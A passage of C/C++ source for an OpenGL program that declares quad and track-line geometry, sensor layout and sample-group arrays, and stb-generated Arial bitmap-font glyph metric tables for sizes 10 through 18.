0.0f, 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f }; float quadFinal_texCoords[] = { 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f }; // quad for sensors float quadSensor_points[] = { 0.0f, 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f }; float quadSensor_texCoords[] = { 0.0f, 0.0f, //1st triangle 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f, //2nd triangle 0.0f, 0.0f, 0.0f, 0.0f }; //////////////////////////////////////// // geometry: track lines unsigned int line_tracks_vao[PG_NB_TRACKS] = {0,0,0}; unsigned int line_tracks_target_vao[PG_NB_TRACKS] = {0,0,0}; float *line_tracks_points[PG_NB_TRACKS] = { NULL , NULL , NULL }; float *line_tracks_target_points[PG_NB_TRACKS] = { NULL , NULL , NULL }; ////////////////////////////////////////////////////////////////////// // SENSORS ////////////////////////////////////////////////////////////////////// // sensor translations // current sensor layout float sensorPositions[ 3 * PG_NB_SENSORS]; // all possible sensor layouts float sensorLayouts[ 3 * PG_NB_SENSORS * PG_NB_MAX_SENSOR_LAYOUTS]; // sensor on off // current sensor activation pattern bool sensor_onOff[ PG_NB_SENSORS]; double sensor_last_activation_time; // all sensor activation patterns bool sensorActivations[ PG_NB_SENSORS * PG_NB_MAX_SENSOR_ACTIVATIONS]; // sample choice // current sample choice int sample_choice[ PG_NB_SENSORS]; // all possible sensor layouts int sample_setUps[ PG_NB_MAX_SAMPLE_SETUPS][ PG_NB_SENSORS ] = {{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25}, {26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50}, {51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75}}; // groups of samples for aliasing with additive samples int sample_groups[ 18 ][ 4 ] = { { 1, 2, 6, 7 }, { 4, 5, 9, 10 }, { 16, 17, 21, 22 }, { 19, 20, 24, 25 }, { 8, 12, 14, 18 }, { 3, 11, 15, 23 }, { 26, 27, 31, 32 }, { 29, 30, 34, 35 }, { 41, 42, 46, 48 }, { 44, 45, 49, 50 }, { 33, 37, 39, 43 }, { 28, 36, 40, 48 }, { 51, 52, 56, 57 }, { 54, 55, 59, 60 }, { 66, 67, 71, 72 }, { 69, 70, 74, 75 }, { 58, 62, 64, 68 }, { 53, 61, 65, 73 } }; // current sensor int currentSensor = 0; // sensor follows mouse bool sensorFollowMouse_onOff = false; ////////////////////////////////////////////////////////////////////// // TEXT ////////////////////////////////////////////////////////////////////// GLbyte stb__arial_10_usascii_x[95]={ 0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; GLubyte stb__arial_10_usascii_y[95]={ 8,1,1,1,1,1,1,1,1,1,1,2,7,5, 7,1,1,1,1,1,1,1,1,1,1,1,3,3,2,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,1,3,1,3,1,3,1,3,1,1, 1,1,1,3,3,3,3,3,3,3,1,3,3,3,3,3,3,1,1,1,4, }; GLubyte stb__arial_10_usascii_w[95]={ 0,2,3,5,5,8,6,2,3,3,4,5,2,3, 2,3,5,4,5,5,5,5,5,5,5,5,2,2,5,5,5,5,9,7,6,7,6,6,6,7,6,2,4,6, 5,7,6,7,6,7,7,6,6,6,6,9,6,6,6,3,3,2,4,7,3,5,5,5,5,5,3,5,5,2, 3,5,2,7,5,5,5,5,4,5,3,5,5,7,5,5,5,3,2,3,5, }; GLubyte stb__arial_10_usascii_h[95]={ 0,7,3,8,8,8,8,3,9,9,4,5,3,2, 1,8,8,7,7,8,7,8,8,7,8,8,5,7,6,4,6,7,9,7,7,8,7,7,7,8,7,7,8,7, 7,7,7,8,7,8,7,8,7,8,7,7,7,7,7,9,8,9,4,1,2,6,8,6,8,6,7,7,7,7, 9,7,7,5,5,6,7,7,5,6,8,6,5,5,5,7,5,9,9,9,2, }; GLubyte stb__arial_10_usascii_s[95]={ 127,80,80,58,76,82,91,84,1,37,72, 95,77,93,101,110,24,104,13,36,109,70,98,60,114,104,73,123,25,121,31, 7,20,115,66,46,97,90,83,9,73,29,53,53,47,39,32,41,22,1,14, 120,1,17,113,103,96,89,82,30,42,34,67,104,97,37,64,49,30,43,66, 70,60,120,16,8,123,113,107,61,54,76,76,19,49,55,101,87,67,1,81, 12,9,5,87, }; GLubyte stb__arial_10_usascii_t[95]={ 1,20,34,1,1,1,1,34,1,1,34, 28,34,34,34,1,11,20,28,11,20,1,1,20,1,1,28,20,28,28,28, 28,1,20,20,11,20,20,20,11,20,20,1,20,20,20,20,1,20,11,20, 1,20,11,11,11,11,11,11,1,11,1,34,34,34,28,1,28,11,28,11, 11,11,11,1,20,11,28,28,28,11,11,28,28,1,28,28,28,28,28,28, 1,1,1,34, }; GLubyte stb__arial_10_usascii_a[95]={ 40,40,51,80,80,127,96,27, 48,48,56,84,40,48,40,40,80,80,80,80,80,80,80,80, 80,80,40,40,84,84,84,80,145,96,96,103,103,96,87,111, 103,40,72,96,80,119,103,111,96,111,103,96,87,103,96,135, 96,96,87,40,40,40,67,80,48,80,80,72,80,80,40,80, 80,32,32,72,32,119,80,80,80,80,48,72,40,80,72,103, 72,72,72,48,37,48,84, }; GLbyte stb__arial_11_usascii_x[95]={ 0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; GLubyte stb__arial_11_usascii_y[95]={ 8,0,0,0,0,0,0,0,0,0,0,2,7,5, 7,0,0,0,0,0,0,1,0,1,0,0,2,2,2,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9,0,2,0,2,0,2,0,2,0,0, 0,0,0,2,2,2,2,2,2,2,1,2,2,2,2,2,2,0,0,0,3, }; GLubyte stb__arial_11_usascii_w[95]={ 0,2,4,6,6,9,7,2,3,3,4,6,2,3, 2,3,6,3,5,6,6,6,6,6,6,6,2,2,6,6,6,5,10,8,7,7,7,7,6,8,7,2,5,7, 6,8,7,8,7,8,7,7,6,7,7,10,7,7,6,3,3,3,5,7,3,6,6,5,5,6,4,5,5,2, 3,5,2,8,5,6,6,5,4,5,3,5,5,8,5,5,5,4,2,4,6, }; GLubyte stb__arial_11_usascii_h[95]={ 0,8,4,9,10,9,9,4,11,11,4,5,3,1, 1,9,9,8,8,9,8,8,9,7,9,9,6,8,5,3,5,8,11,8,8,9,8,8,8,9,8,8,9,8, 8,8,8,9,8,9,8,9,8,9,8,8,8,8,8,10,9,10,5,1,3,7,9,7,9,7,8,9,8,8, 11,8,8,6,6,7,8,8,6,7,8,7,6,6,6,9,6,11,11,11,3, }; GLubyte stb__arial_11_usascii_s[95]={ 125,88,95,67,41,88,98,100,1,33,90, 76,107,124,125,106,39,9,36,52,29,22,81,60,110,1,125,122,69,110,83, 42,22,13,107,117,1,91,115,69,99,53,63,80,73,64,56,58,45,30,37, 8,24,16,12,1,117,109,102,48,59,37,63,103,103,73,74,67,46,87,78, 24,83,125,18,31,125,100,115,80,89,96,121,48,20,54,94,48,109,52,57, 13,10,5,117, }; GLubyte stb__arial_11_usascii_t[95]={ 10,23,40,1,1,1,1,40,1,1,40, 40,40,40,30,1,13,32,32,13,32,32,1,32,1,13,23,23,40,40,40, 32,1,32,23,1,32,23,23,13,23,23,13,23,23,23,23,1,23,13,23, 13,23,13,23,23,13,13,13,1,13,1,40,44,40,32,1,32,13,32,13, 13,13,1,1,23,13,32,32,32,13,13,32,32,23,32,32,40,32,1,40, 1,1,1,40, }; GLubyte stb__arial_11_usascii_a[95]={ 44,44,56,88,88,140,105,30, 52,52,61,92,44,52,44,44,88,88,88,88,88,88,88,88, 88,88,44,44,92,92,92,88,160,105,105,114,114,105,96,123, 114,44,79,105,88,131,114,123,105,123,114,105,96,114,105,149, 105,105,96,44,44,44,74,88,52,88,88,79,88,88,44,88, 88,35,35,79,35,131,88,88,88,88,52,79,44,88,79,114, 79,79,79,53,41,53,92, }; GLbyte stb__arial_12_usascii_x[95]={ 0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, }; GLubyte stb__arial_12_usascii_y[95]={ 9,1,1,1,0,1,1,1,1,1,1,2,7,5, 7,1,1,1,1,1,1,1,1,1,1,1,3,3,2,3,2,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,10,1,3,1,3,1,3,1,3,1,1, 1,1,1,3,3,3,3,3,3,3,1,3,3,3,3,3,3,1,1,1,4, }; GLubyte stb__arial_12_usascii_w[95]={ 0,3,4,6,6,9,7,2,4,4,4,6,3,4, 3,3,6,4,6,6,6,6,6,6,6,6,3,3,6,6,6,6,11,9,7,8,8,7,7,8,7,2,5,8, 6,9,7,8,7,8,8,7,7,7,8,11,8,8,7,3,3,3,5,8,3,6,6,6,6,6,4,6,6,2, 3,6,2,9,6,6,6,6,4,5,3,6,6,8,6,6,6,4,2,4,6, }; GLubyte stb__arial_12_usascii_h[95]={ 0,8,4,9,11,9,9,4,11,11,4,6,4,2, 2,9,9,8,8,9,8,9,9,8,9,9,6,8,6,4,6,8,11,8,8,9,8,8,8,9,8,8,9,8, 8,8,8,9,8,9,8,9,8,9,8,8,8,8,8,11,9,11,5,2,2,7,9,7,9,7,8,9,8,8, 11,8,8,6,6,7,9,9,6,7,9,7,6,6,6,9,6,11,11,11,3, }; GLubyte stb__arial_12_usascii_s[95]={ 125,116,98,89,1,96,106,95,50,29,86, 55,91,110,123,121,41,1,56,55,70,69,114,31,85,10,62,77,66,79,18, 63,34,46,38,1,22,14,6,76,120,113,100,104,97,87,79,66,71,17,55, 33,47,92,31,19,10,1,115,46,106,21,73,114,110,88,62,101,48,115,110, 26,40,125,25,64,123,8,1,108,82,75,122,95,55,81,41,25,48,59,34, 16,13,8,103, }; GLubyte stb__arial_12_usascii_t[95]={ 10,21,41,1,1,1,1,41,1,1,41, 41,41,44,41,1,13,32,32,11,32,11,1,32,11,13,41,32,41,41,41, 32,1,32,32,13,32,32,32,11,21,21,11,21,21,21,21,1,21,13,21, 13,23,11,23,23,23,23,11,1,11,1,41,41,41,32,11,32,13,32,11, 13,23,1,1,21,11,41,41,32,1,1,32,32,1,32,41,41,41,1,41, 1,1,1,41, }; GLubyte stb__arial_12_usascii_a[95]={ 48,48,61,96,96,153,115,33, 57,57,67,100,48,57,48,48,96,96,96,96,96,96,96,96, 96,96,48,48,100,100,100,96,174,115,115,124,124,115,105,134, 124,48,86,115,96,143,124,134,115,134,124,115,105,124,115,162, 115,115,105,48,48,48,81,96,57,96,96,86,96,96,48,96, 96,38,38,86,38,143,96,96,96,96,57,86,48,96,86,124, 86,86,86,57,45,57,100, }; GLbyte stb__arial_13_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_13_usascii_y[95]={ 10,1,1,1,0,1,1,1,1,1,1,3,8,6, 8,1,1,1,1,1,1,1,1,1,1,1,3,3,3,4,3,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,11,1,3,1,3,1,3,1,3,1,1, 1,1,1,3,3,3,3,3,3,3,1,3,3,3,3,3,3,1,1,1,4, }; GLubyte stb__arial_13_usascii_w[95]={ 0,2,4,7,6,10,8,2,4,4,5,7,3,4, 2,4,6,4,6,6,6,7,6,6,6,6,2,3,7,7,7,6,12,9,8,8,8,8,7,9,8,2,5,8, 7,9,8,9,8,9,9,8,7,8,8,11,8,8,7,4,4,3,6,8,3,6,6,6,6,6,4,6,6,2, 3,6,2,9,6,7,7,6,5,6,4,6,6,9,6,6,6,4,1,4,7, }; GLubyte stb__arial_13_usascii_h[95]={ 0,9,4,10,12,10,10,4,12,12,5,6,4,2, 2,10,10,9,9,10,9,10,10,9,10,10,7,9,6,4,6,9,12,9,9,10,9,9,9,10,9,9,10,9, 9,9,9,10,9,10,9,10,9,10,9,9,9,9,9,12,10,12,6,2,3,8,10,8,10,8,9,10,9,9, 12,9,9,7,7,8,10,10,7,8,10,8,7,7,7,10,7,12,12,12,3, }; GLubyte stb__arial_13_usascii_s[95]={ 56,125,1,93,1,101,112,123,51,28,105, 97,111,30,27,10,48,19,76,62,90,76,121,50,94,15,47,97,89,115,81, 83,33,66,57,1,41,32,24,84,10,122,110,1,114,104,95,68,83,22,66, 39,55,101,39,27,18,9,1,46,116,20,74,18,6,108,69,1,55,16,121, 32,48,63,24,76,92,30,23,8,85,78,122,115,56,101,40,50,67,61,60, 15,13,8,10, }; GLubyte stb__arial_13_usascii_t[95]={ 12,25,54,1,1,1,1,45,1,1,45, 45,45,54,54,14,14,35,35,14,35,14,1,35,14,14,45,35,45,45,45, 35,1,35,35,14,35,35,35,14,35,25,14,35,25,25,25,1,25,14,25, 14,25,14,25,25,25,25,25,1,14,1,45,54,54,35,14,45,14,45,14, 14,25,25,1,25,25,45,45,45,1,1,35,35,1,35,45,45,45,1,45, 1,1,1,54, }; GLubyte stb__arial_13_usascii_a[95]={ 52,52,66,104,104,166,124,36, 62,62,72,109,52,62,52,52,104,104,104,104,104,104,104,104, 104,104,52,52,109,109,109,104,189,124,124,134,134,124,114,145, 134,52,93,124,104,155,134,145,124,145,134,124,114,134,124,176, 124,124,114,52,52,52,87,104,62,104,104,93,104,104,52,104, 104,41,41,93,41,155,104,104,104,104,62,93,52,104,93,134, 93,93,93,62,48,62,109, }; GLbyte stb__arial_14_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,-1,0,0,0,0,1,0,1,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_14_usascii_y[95]={ 11,2,2,1,1,1,1,2,1,1,1,3,9,7, 9,1,1,1,1,1,2,2,1,2,1,1,4,4,3,4,3,1,1,2,2,1,2,2,2,1,2,2,2,2, 2,2,2,1,2,1,2,1,2,2,2,2,2,2,2,2,1,2,1,12,1,4,2,4,2,4,1,4,2,2, 2,2,2,4,4,4,4,4,4,4,2,4,4,4,4,4,4,1,1,1,5, }; GLubyte stb__arial_14_usascii_w[95]={ 0,2,4,7,7,11,9,2,4,4,5,7,2,4, 2,4,7,4,7,7,7,7,7,7,7,7,2,2,7,7,7,7,13,10,8,9,9,8,7,9,8,2,6,9, 7,10,9,10,8,10,9,8,8,9,9,12,9,9,8,4,4,3,6,9,3,7,7,7,7,7,4,7,7,2, 3,7,2,10,7,7,7,7,5,6,4,7,7,9,7,7,6,4,2,4,7, }; GLubyte stb__arial_14_usascii_h[95]={ 0,9,4,11,12,11,11,4,13,13,5,7,4,2, 2,11,11,10,10,11,9,10,11,9,11,11,7,9,7,5,7,10,13,9,9,11,9,9,9,11,9,9,10,9, 9,9,9,11,9,11,9,11,9,10,9,9,9,9,9,12,11,12,6,2,3,8,10,8,10,8,10,10,9,9, 12,9,9,7,7,8,10,10,7,8,10,8,7,7,7,10,7,13,13,13,3, }; GLubyte stb__arial_14_usascii_s[95]={ 59,120,123,70,42,78,108,57,1,19,48, 104,54,123,72,118,1,9,22,9,1,1,17,110,90,45,59,107,62,40,88, 115,24,49,98,98,80,71,63,53,40,123,108,30,22,11,1,59,111,25,88, 36,69,30,49,98,78,59,40,50,123,55,33,75,60,27,84,51,76,12,71, 63,90,60,38,118,9,112,12,35,92,100,20,20,123,43,70,78,96,14,26, 14,11,6,64, }; GLubyte stb__arial_14_usascii_t[95]={ 13,27,48,1,1,1,1,57,1,1,57, 48,57,53,57,1,15,27,27,15,48,27,15,37,1,15,48,37,48,57,48, 15,1,37,37,1,37,37,37,15,37,27,15,38,38,38,38,1,27,15,27, 15,27,27,27,27,27,27,27,1,1,1,57,57,57,48,15,48,15,48,15, 15,37,37,1,37,48,48,57,48,15,15,57,48,15,48,48,48,48,27,57, 1,1,1,57, }; GLubyte stb__arial_14_usascii_a[95]={ 56,56,71,112,112,178,134,38, 67,67,78,117,56,67,56,56,112,112,112,112,112,112,112,112, 112,112,56,56,117,117,117,112,204,134,134,145,145,134,122,156, 145,56,100,134,112,167,145,156,134,156,145,134,122,145,134,189, 134,134,122,56,56,56,94,112,67,112,112,100,112,112,56,112, 112,45,45,100,45,167,112,112,112,112,67,100,56,112,100,145, 100,100,100,67,52,67,117, }; GLbyte stb__arial_15_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,-1,0,0,1,1,1,0,1,1,0,0, 0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_15_usascii_y[95]={ 12,2,2,2,1,2,2,2,2,2,2,4,10,7, 10,2,2,2,2,2,2,2,2,2,2,2,5,5,4,5,4,2,2,2,2,2,2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,13,2,4,2,4,2,4,2,4,2,2, 2,2,2,4,4,4,4,4,4,4,2,5,5,5,5,5,5,2,2,2,6, }; GLubyte stb__arial_15_usascii_w[95]={ 0,2,5,8,7,12,9,2,4,4,5,8,2,5, 2,4,7,5,7,7,7,7,7,7,7,7,2,2,8,8,8,7,14,10,9,10,8,8,7,10,8,2,6,9, 7,11,8,10,8,10,9,9,8,8,9,13,9,9,8,4,4,3,6,9,4,7,7,7,7,7,5,7,7,3, 4,7,3,11,7,7,7,7,5,7,4,7,7,10,7,7,7,5,2,5,8, }; GLubyte stb__arial_15_usascii_h[95]={ 0,10,4,11,13,11,11,4,13,13,5,7,4,3, 2,11,11,10,10,11,10,11,11,10,11,11,7,9,7,5,7,10,13,10,10,11,10,10,10,11,10,10,11,10, 10,10,10,11,10,11,10,11,10,11,10,10,10,10,10,13,11,13,6,2,3,9,11,9,11,9,10,11,10,10, 13,10,10,8,8,9,11,11,8,9,11,8,7,7,7,10,7,13,13,13,3, }; GLubyte stb__arial_15_usascii_s[95]={ 127,68,60,79,1,104,117,66,58,29,54, 1,69,72,102,1,25,12,105,67,97,83,59,43,109,33,100,123,21,45,103, 18,34,1,113,14,88,79,71,10,59,1,102,33,25,13,4,68,117,91,103, 41,86,1,72,58,48,38,29,49,117,54,38,92,78,42,6,34,75,58,122, 51,21,82,24,95,113,66,92,50,96,88,78,26,63,84,30,10,112,51,120, 18,15,9,83, }; GLubyte stb__arial_15_usascii_t[95]={ 1,39,61,1,1,1,1,61,1,1,61, 61,61,61,61,15,15,50,39,15,39,15,15,39,15,15,50,39,61,61,50, 50,1,50,39,15,39,39,39,27,39,39,15,39,39,39,39,1,27,15,27, 15,27,27,27,27,27,27,27,1,15,1,61,61,61,50,15,50,15,50,15, 15,27,27,1,27,27,50,50,50,1,1,50,50,1,50,61,61,50,39,50, 1,1,1,61, }; GLubyte stb__arial_15_usascii_a[95]={ 60,60,76,119,119,191,143,41, 72,72,84,125,60,72,60,60,119,119,119,119,119,119,119,119, 119,119,60,60,125,125,125,119,218,143,143,155,155,143,131,167, 155,60,107,143,119,179,155,167,143,167,155,143,131,155,143,203, 143,143,131,60,60,60,101,119,72,119,119,107,119,119,60,119, 119,48,48,107,48,179,119,119,119,119,72,107,60,119,107,155, 107,107,107,72,56,72,125, }; GLbyte stb__arial_16_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,-1,1,0,1,1,1,0,1,1,0,1, 1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,-1,0,0,0,0,0,0,0,0,0,0, -1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_16_usascii_y[95]={ 12,1,1,1,0,1,1,1,1,1,1,3,10,7, 10,1,1,1,1,1,1,1,1,1,1,1,4,4,3,4,3,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,13,1,4,1,4,1,4,1,4,1,1, 1,1,1,4,4,4,4,4,4,4,1,4,4,4,4,4,4,1,1,1,5, }; GLubyte stb__arial_16_usascii_w[95]={ 0,2,5,8,8,12,10,3,5,5,6,8,2,5, 2,4,8,5,8,8,8,8,8,8,8,8,2,2,8,8,8,8,15,11,8,10,9,8,8,11,9,2,7,9, 7,10,9,11,8,11,10,9,9,9,10,14,10,10,9,4,4,4,7,10,4,8,8,8,7,8,5,8,7,3, 4,8,3,12,7,8,8,7,5,7,4,7,7,11,8,8,7,5,2,5,8, }; GLubyte stb__arial_16_usascii_h[95]={ 0,11,5,12,14,12,12,5,15,15,5,8,5,2, 2,12,12,11,11,12,11,12,12,11,12,12,8,11,8,6,8,11,15,11,11,12,11,11,11,12,11,11,12,11, 11,11,11,12,11,12,11,12,11,12,11,11,11,11,11,14,12,14,7,2,3,9,12,9,12,9,11,12,11,11, 15,11,11,8,8,9,11,11,8,9,12,9,8,8,8,12,8,15,15,15,4, }; GLubyte stb__arial_16_usascii_s[95]={ 125,125,109,111,54,1,14,105,1,43,95, 60,102,82,79,120,85,93,31,102,49,13,94,1,25,45,124,125,69,86,14, 40,27,19,10,34,117,108,99,1,83,125,103,73,65,54,44,82,31,54,11, 75,1,22,102,87,76,65,55,63,120,49,78,68,115,66,111,83,94,101,41, 66,113,121,22,22,40,1,110,92,32,47,118,75,68,58,43,23,51,73,35, 16,13,7,115, }; GLubyte stb__arial_16_usascii_t[95]={ 13,17,67,1,1,17,17,67,1,1,67, 67,67,14,14,1,17,43,55,17,55,30,1,55,17,17,55,29,67,67,67, 55,1,55,55,17,43,43,43,30,43,1,1,43,43,43,43,1,43,17,43, 17,43,30,30,30,30,30,30,1,17,1,67,14,72,55,17,55,17,55,30, 17,30,30,1,43,43,67,55,55,30,30,55,55,1,55,67,67,67,1,67, 1,1,1,67, }; GLubyte stb__arial_16_usascii_a[95]={ 64,64,81,127,127,204,153,44, 76,76,89,134,64,76,64,64,127,127,127,127,127,127,127,127, 127,127,64,64,134,134,134,127,233,153,153,165,165,153,140,178, 165,64,115,153,127,191,165,178,153,178,165,153,140,165,153,216, 153,153,140,64,64,64,108,127,76,127,127,115,127,127,64,127, 127,51,51,115,51,191,127,127,127,127,76,115,64,127,115,165, 115,115,115,77,60,77,134, }; GLbyte stb__arial_17_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,-1,1,0,1,1,1,0,1,1,0,1, 1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,-1,0,0,0,0,0,0,0,0,1,1, -1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_17_usascii_y[95]={ 13,2,2,1,1,1,1,2,1,1,1,4,11,8, 11,1,2,2,2,2,2,2,2,2,2,2,5,5,3,5,3,1,1,2,2,1,2,2,2,1,2,2,2,2, 2,2,2,1,2,1,2,1,2,2,2,2,2,2,2,2,1,2,1,15,2,4,2,4,2,4,1,4,2,2, 2,2,2,4,4,4,4,4,4,4,2,5,5,5,5,5,5,1,1,1,6, }; GLubyte stb__arial_17_usascii_w[95]={ 0,2,5,9,8,13,10,3,5,5,6,9,2,5, 2,5,8,5,8,8,8,8,8,8,8,8,2,2,9,9,9,8,15,12,9,11,10,9,8,11,9,2,7,10, 7,11,9,12,9,12,10,10,9,9,11,15,11,11,9,3,5,4,7,10,4,8,8,8,8,8,5,8,7,2, 4,7,3,11,7,8,7,8,6,8,5,8,8,11,8,8,8,5,2,5,9, }; GLubyte stb__arial_17_usascii_h[95]={ 0,11,4,13,14,13,13,4,16,16,6,8,5,2, 2,13,12,11,11,12,11,12,12,11,12,12,8,11,9,5,9,12,16,11,11,13,11,11,11,13,11,11,12,11, 11,11,11,13,11,13,11,13,11,12,11,11,11,11,11,15,13,15,7,2,3,10,12,10,12,10,12,13,11,11, 15,11,11,9,9,10,13,13,9,10,12,9,8,8,8,12,8,16,16,16,3, }; GLubyte stb__arial_17_usascii_s[95]={ 127,71,121,80,58,90,1,11,1,22,114, 78,125,30,125,69,62,42,45,19,63,43,89,54,107,1,125,122,1,1,20, 28,28,32,22,21,11,1,113,33,99,124,75,78,70,58,89,67,32,45,13, 58,114,52,102,86,74,1,48,54,121,49,106,36,25,116,116,107,98,98,83, 12,72,125,44,24,109,30,49,89,113,104,42,80,37,11,97,66,57,10,88, 16,13,7,15, }; GLubyte stb__arial_17_usascii_t[95]={ 1,32,69,1,1,1,18,79,1,1,69, 69,54,79,60,18,32,45,57,32,57,32,18,57,18,32,45,45,69,79,69, 32,1,57,57,18,57,57,45,18,45,32,18,45,45,45,45,1,45,18,45, 18,32,32,32,32,32,45,45,1,1,1,69,79,79,57,18,57,18,57,18, 18,57,18,1,45,45,69,69,57,1,1,69,57,32,69,69,69,69,32,69, 1,1,1,79, }; GLubyte stb__arial_17_usascii_a[95]={ 68,68,86,135,135,216,162,46, 81,81,95,142,68,81,68,68,135,135,135,135,135,135,135,135, 135,135,68,68,142,142,142,135,247,162,162,176,176,162,149,189, 176,68,122,162,135,203,176,189,162,189,176,162,149,176,162,230, 162,162,149,68,68,68,114,135,81,135,135,122,135,135,68,135, 135,54,54,122,54,203,135,135,135,135,81,122,68,135,122,176, 122,122,122,81,63,81,142, }; GLbyte stb__arial_18_usascii_x[95]={ 0,1,0,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,-1,1,0,1,1,1,0,1,1,0,1, 1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,-1,0,0,1,0,0,0,0,0,1,1, -1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0, }; GLubyte stb__arial_18_usascii_y[95]={ 14,2,2,2,1,2,2,2,2,2,2,4,12,9, 12,2,2,2,2,2,2,2,2,2,2,2,5,5,4,5,4,2,2,2,2,2,2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,16,2,5,2,5,2,5,2,5,2,2, 2,2,2,5,5,5,5,5,5,5,2,5,5,5,5,5,5,2,2,2,7, }; GLubyte stb__arial_18_usascii_w[95]={ 0,3,5,9,9,14,11,3,5,5,6,9,3,5, 3,5,9,6,9,9,9,9,9,9,9,9,3,3,9,9,9,9,16,12,9,11,10,9,9,12,10,3,7,10, 8,12,10,12,10,12,11,10,10,10,11,16,11,11,10,4,5,4,8,11,4,9,8,8,8,9,6,8,7,2, 4,7,2,12,7,9,8,8,5,8,5,7,8,12,8,8,8,6,2,5,9, }; GLubyte stb__arial_18_usascii_h[95]={ 0,12,5,13,15,13,13,5,16,16,6,9,5,2, 2,13,13,12,12,13,12,13,13,12,13,13,9,12,9,6,9,12,16,12,12,13,12,12,12,13,12,12,13,12, 12,12,12,13,12,13,12,13,12,13,12,12,12,12,12,16,13,16,7,2,3,10,13,10,13,10,12,13,12,12, 16,12,12,9,9,10,13,13,9,10,13,10,9,9,9,13,9,16,16,16,3, }; GLubyte stb__arial_18_usascii_s[95]={ 127,117,49,117,61,1,16,45,1,38,34, 116,41,86,82,50,99,121,76,118,96,10,28,43,33,56,1,106,5,24,66, 86,44,63,53,38,32,22,12,20,1,113,54,102,93,80,69,86,55,66,35, 88,21,43,1,110,98,86,75,33,62,23,15,70,55,118,1,10,109,29,68, 79,13,32,28,47,66,47,39,19,108,99,60,1,71,110,98,76,107,77,89, 16,13,7,60, }; GLubyte stb__arial_18_usascii_t[95]={ 